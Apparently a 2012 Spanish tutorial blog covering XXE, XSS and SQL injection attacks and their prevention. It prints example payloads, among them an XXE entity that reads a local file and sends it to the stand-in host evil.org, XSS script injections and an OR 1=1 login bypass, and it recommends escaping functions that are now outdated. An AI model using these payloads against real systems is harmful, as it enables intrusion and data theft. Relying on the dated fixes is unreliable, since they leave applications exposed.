Mostrando entradas con la etiqueta inyeccion. Mostrar todas las entradas
Mostrando entradas con la etiqueta inyeccion. Mostrar todas las entradas

martes, 25 de diciembre de 2012

Ataques de Inyeccion (Parte 3)

Ataques XML

2.3.1  ¿Qué son?

XML (eXtensible Markup Lenguage) es un metalenguaje extensible de etiquetas desarrollado por W3C(World Wide Web Consorcium). XML permite definir la gramática de lenguajes específicos por lo que XML no es un lenguaje en particular sino una manera de definir lenguajes para distintas necesidades.
XML  propone como estándar para el intercambio de información estructurada entre diferentes plataformas.
XML permite el uso de entidades, elementos que referencian contenido dentro del propio documento.
Un ejemplo lo construye:
< !ENTITY pfc "Proyecto Final de Carrera"> que define la abreviatura de un testo para posteriormente utilizarla dentro del documento.
Pero XML también tiene la posibilidad de insertar contenido de elementos externos, y si no se establece ninguna restricción, entonces se pueden realizar los ataques XML.

2.3.2  ¿Qué puede hacer un ataque XML?

Los ataques XML pueden producir diversos efectos, como los dos mencionados a continuación:
• Lectura de ficheros arbitrarios: Es posible definir  una entidad que expanda el contenido de un fichero local del servidor, como por ejemplo:
< !DOCTYPE doc [         < !ENTITY bootini SYSTEM "file:///C:/boot.ini ">
< !ENTITY enviarb SYSTEM "http://evil.org/?&bootini;">
]>
  Escaneo de puertos: Se pueden definir entidades externas que el servidor deba resolver pata insertar su contenido en un documento.
< !DOCTYPE scan [  < !ENTITY pfc SYSTEM "http://1.1.1.1:21/">]>

2.3.3  Cómo evitarlo
Para prevenir los ataques XML hay que indicarle al servidor que no procese entidades externas.


viernes, 14 de diciembre de 2012

Ataques de Inyeccion (Parte 2)


 Ataques XSS

 1   ¿Qué son?

XSS es la abreviatura de “Cross Site Scripting”, típicamente escrito como XSS para no confundirlo con CSS que son las hojas de estilos en cascada de las páginas web.
Las vulnerabilidades de tipo XSS tratan de ejecutar código de scripts como Java o VBScript en un sitio web a través de formularios cuyos textos de entrada no han sido bien formateados y permiten la entrada de caracteres especiales como por ejemplo: < o >.

2   Tipos de ataques XSS

Los ataques XSS se dividen en dos tipos: XSS indirecto (no persistente) y XSS directo (o persistente)


            2.1 Indirecto (no persistente)

Consiste en modificar valores que el código de la web utiliza para pasarse a sí misma variables entre sus páginas. Al modificar el código de las mismas se puede alterar el funcionamiento de ella.
A continuación se presenta un ejemplo para su mejor entendimiento..
Supongamos que existe una web cuyo fichero index.php tiene el siguiente contenido:
  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
  2. <html>
  3. <head>
  4. <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
  5. <title>Bienvenidos a <?php echo $_GET['title']; ?></title>
  6. </head>
  7.  
  8. <body>
  9. </body>
  10. </html>
 
Como se puede comprobar, se trata de  un código muy sencillo que incluye únicamente el comando:
<?php echo $_GET['title']; ?> y donde se recoge una variable llamada title que se  inserta en el título de la web, un código habitual y sencillo.
A partir de estos datos, si alguien quisiera  desprestigiar el sitio web haciendo creer a los usuarios que es un sitio peligroso podría dejar  enlaces web en los buscadores y otras webs para que los usuarios accedieran a nuestro sitio pero a través de la siguiente dirección (se muestra solo la porción final):
     index.php?title=</title><script>alert("¡Este Sitio es un peligro!")</script>

El código anterior ha utilizado la funcionalidad existente de la etiqueta de la web:
<?php echo $_GET['title']; ?> para introducir un nuevo código que consiste en la cadena:
<script>alert("¡Este Sitio es un peligro!")</script>

Realmente esta alteración de la funcionalidad no genera ningún daño directo ya que lo único que ocurre  es que aparecerá ante el usuario la ventana mostrada en la Figura 17:



Hasta que el usuario no pulse sobre el botón Aceptar,  no podrá acceder al sitio web y tras haber leído semejante aviso lo más probable es que no lo  haga. Por lo tanto,  una línea sencilla de código podrá crear  una campaña muy negativa sobre el sitio web.
Este es un ejemplo con una alerta simple pero XSS tiene mucho potencial y podría insertarse un script malicioso en una etiqueta de título simple que por ejemplo enviara  archivos al un servidor transmitiendo  código malicioso a los usuarios legítimos desde el  sitio web atacando a su equipo y su navegador.

             2.2  XSS Directo (persistente)
Consiste en introducir código script en los formularios HTML que no formatean el texto introducido correctamente. Este tipo de ataques son los más difíciles de lograr ya que las medidas de prevención son relativamente sencillas. Sin embargo, hay que tener en cuenta que estos ataques son los más dañinos funcionando en sitios dinámicos donde se puede introducir contenido libremente, por ejemplo, comentarios en blogs, un post en foros, etc.
El ataque consiste en que en vez de escribir un comentario “inocente” se introduce en su lugar código con etiquetas como <iframe> o <script>.
Para ilustrar su funcionamiento se presenta un ejemplo: supongamos que en un sitio web se insertara  la siguiente líneas de código, muy similar al ejemplo del apartado anterior :
<SCRIPT language='JavaScript'>        alert('Este sitio es un peligro¡');</SCRIPT>


La diferencia con el anterior método de ataque es que ahora siempre que un usuario entre en el post recibirá la alerta de la Figura 17. El código malicioso se queda permanentemente insertado en la base de datos y provoca daño permanente hasta que el administrador del sitio web elimine el comentario.
Como ya se ha comentado éstos ataques son muy peligrosos ya que en foros con gran afluencia de gente se puede insertar código malicioso que provoque, de forma transparente a los usuarios, daño en el software, descargar archivos, carga de archivos maliciosos o todo tipo de ataques debido a la potencia y versatilidad de los scripts.

3  Solución

Una vez más la solución pasa por hacer un correcto tratamiento de los textos que los usuarios envían a tu sitio web como ya se hamos visto en el SQL Inyection

miércoles, 12 de diciembre de 2012

ATAQUES DE INYECCIÓN (Parte 1)

SQL inyección

1  ¿Qué es?

Es un método de ataque que suele utlizarse en sitios web y otras aplicaciones que se conectan con bases de datos. Se aprovecha de un fallo en la mala depuración de los datos pasados desde el usuario a la consulta SQL(Structured Query Language).

2  ¿Cómo funciona?

Cuando un usuario dispone de un campo donde poder insertar cadenas de texto y hacer búsqueda en una base de datos suele enviar “palabras” o datos relacionados, por ejemplo en el  formulario de la Figura 16:


La consulta de dicho formulario sería la siguiente:
SELECT * FROM tabla_usuarios WHERE usuario=’$nombre’ AND password=’$password’;

Un usuario legítimo introduciría su nombre y contraseña, por ejemplo las cadenas Pepe y  12345. Al introducir esos datos la consulta que se pasaría a la base de datos sería:
SELECT * FROM tabla_usuarios WHERE usuario=’Pepe’ AND password=’12345’;


Siguiendo con el ejemplo la base de datos buscaría al usuario con la contraseña 12345  y si la información es correcta realizaría una operación como puede ser entrar en la web personal del usuario.
En cambio si un usuario malintencionado introdujera otro tipo de datos en los cuadros de texto el resultado no sería el mismo. Por ejemplo, los datos:

Usuario: ' OR 1=1 --'
Clave: dsadsadsa

produciría la siguiente consulta:
SELECT * FROM tabla_usuarios WHERE usuario=' ' OR 1=1 --''AND password=' dsadsadsa';

A continuación se ofrece un análisis de esta consulta:

1)       El  usuario es un espacio vacío, y puesto que normalmente no existe ningún usuario en las bases de datos con ese usuario, en condiciones normales se produciría un error.
           
2)       A continuación la consulta incluye un comando  OR 1=1. Aunque lo más seguro es que la base de datos no contenga ningún usuario con el nombre vacío, la condición 1=1 siempre se cumple, con lo que desde un punto de vista global la consulta ya no va a devolver un error

3)      Después del término 1=1 después se ha introducido un --, es decir, se ha comentado lo que resta de consulta anulando la comparación de la contraseña, con lo que el intruso ya tiene acceso a generar errores en el  sistema y puede  probar con otras consultas hasta que nuestra base de datos empiece a devolverle datos de interés para él, como pueden ser los nombres de usuario, contraseñas, etc.
3  ¿Cómo se puede evitar?

Si no se genera  una correcta depuración de los datos que los usuario pueden introducir en todos los formularios de la web tarde o temprano con los programas que existen hoy en día de forma automática o manualmente mediante el método de  ensayo y error algún atacante podrá  acceder a los datos de una base de datos, aunque la solución es sencilla.

En PHP basta con incluir en las consultas peligrosas la siguiente función:
mysql_real_escape_string();

Esta función provoca que los caracteres peligrosos sean previamente comentados insertando de forma automática una \ delante de los símbolos como son ¡, \, “.

En Java existe un método llamado escapeSQL procedente de la librería Apache Common Language que sirve para obtener el mismo resultado que PHP, reemplazando los caracteres especiales para que toda la cadena sea interceptada como texto. A continuación se muestra un ejemplo de uso:

Antes:
ResultSet rset = stmt.executeQuery("SELECT * FROM usuarios WHERE nombre =
 '" + nombreUsuario + "';");

Después:
ResultSet rset = stmt.executeQuery("SELECT * FROM usuarios WHERE nombre =
 '" + StringEscapeUtils.escapeSQL(nombreUsuario) + "';");


Como se puede apreciar es muy sencillo evitar este ataque, lo cual es muy importante ya que se trata de uno de los ataques más utilizados actualmente en la red donde  cada día aparecen más sitios web, por ejemplo, recientemente la web de Sony a manos del grupo de hackers Anonimous, los mismos causantes del robo de cuentas de PlayStation, Bibliografía[31].
En resumen, para evitar este tipo de ataques es necesario formatear todos los textos que procedan de los usuarios, incluso los términos de búsqueda, ya que normalmente son los más olvidados pero pueden ser utilizados para inyacter código.